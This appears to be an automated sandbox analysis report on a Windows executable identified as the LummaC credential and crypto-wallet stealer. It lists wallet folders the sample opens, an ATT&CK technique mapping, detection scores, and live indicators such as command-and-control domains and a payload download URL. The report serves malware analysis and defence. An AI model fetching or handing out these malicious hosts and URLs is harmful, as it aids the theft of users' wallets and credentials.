Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1969065604.000000000132B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1969592075.000000000132B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1969046979.0000000001321000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1810218656.000000000131B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2070720241.000000000132C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1810240683.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2068046614.0000000001320000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1861333026.000000000131F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2067860031.000000000131E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2070760331.0000000001331000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1865270340.0000000001321000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1811318565.000000000131F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1861174374.000000000131B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1968740464.000000000131F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7496, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7496, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeO	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/jX	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exemP	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/s	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/r:	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exep	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apite	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apiq3	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/ZYa	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apiq	100%	Avira URL Cloud	malware
https://marshal-zhukov.com:443/apiyq	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
marshal-zhukov.com	104.21.82.174	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
savvy-steereo.sbs	unknown	unknown	false	unknown
plastic-mitten.sbs	unknown	unknown	false	unknown
record-envyp.sbs	unknown	unknown	false	unknown
hallowed-noisy.sbs	unknown	unknown	false	high
copper-replace.sbs	unknown	unknown	false	unknown
wrench-creter.sbs	unknown	unknown	false	unknown
slam-whipp.sbs	unknown	unknown	false	unknown
looky-marked.sbs	unknown	unknown	false	unknown
preside-comforter.sbs	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199724331900	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/jX	file.exe, 00000000.00000003.1779908324.0000000001300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/(S	file.exe, 00000000.00000002.2390678447.0000000001285000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeO	file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Youssef1313	chromecache_108.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_100.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_108.6.dr	false		high
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apite	file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_108.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exemP	file.exe, 00000000.00000002.2390678447.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pshelpmechoose	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_108.6.dr, chromecache_109.6.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exep	file.exe, 00000000.00000002.2386113819.0000000000B3B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learn-video.azurefd.net/vod/player	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://marshal-zhukov.com/s	file.exe, 00000000.00000002.2390678447.000000000129C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://github.com/Thraka	chromecache_108.6.dr	false		high
http://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=OgygW_VD	file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://steamcommunity.com:443/profiles/76561199724331900	file.exe, 00000000.00000003.2304431578.0000000001294000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/r:	file.exe, 00000000.00000003.1861174374.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1810901971.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811080336.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861240317.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861110116.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_100.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_108.6.dr	false		high
https://support.microsof	file.exe, 00000000.00000003.1810901971.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_87.6.dr, chromecache_100.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2390678447.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_108.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=nT6RHKdfWgaJ&l=e	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1811080336.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=jIFn	file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_87.6.dr, chromecache_100.6.dr	false		high
https://store.steampowered.com/about/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_108.6.dr	false		high
https://steamcommunity.com/my/wishlist/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=4Vb3xc8UazdB&a	file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_108.6.dr	false		high
https://marshal-zhukov.com/apiq3	file.exe, 00000000.00000003.2160525158.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1810901971.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811080336.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861240317.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861110116.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apiq	file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900PS	file.exe, 00000000.00000002.2390678447.0000000001285000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/ZYa	file.exe, 00000000.00000003.2303709531.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304288499.0000000001308000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144403023.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2215338462.0000000001304000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/discussions/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com:443/apiyq	file.exe, 00000000.00000003.2304431578.0000000001294000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/stats/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1969263120.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1811080336.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.82.174	marshal-zhukov.com	United States	13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564518
Start date and time:	2024-11-28 13:08:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/62@19/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 23.52.181.141, 216.58.208.227, 172.217.19.238, 74.125.205.84, 2.20.41.214, 34.104.35.123, 20.189.173.25, 172.217.17.74, 172.217.19.202, 216.58.208.234, 142.250.181.74, 172.217.19.10, 172.217.19.170, 172.217.19.234, 142.250.181.42, 142.250.181.138, 172.217.17.42, 172.217.21.42, 142.250.181.106, 104.86.111.160, 104.86.111.153, 20.42.73.31, 13.74.129.1, 13.107.22.237, 131.253.33.237
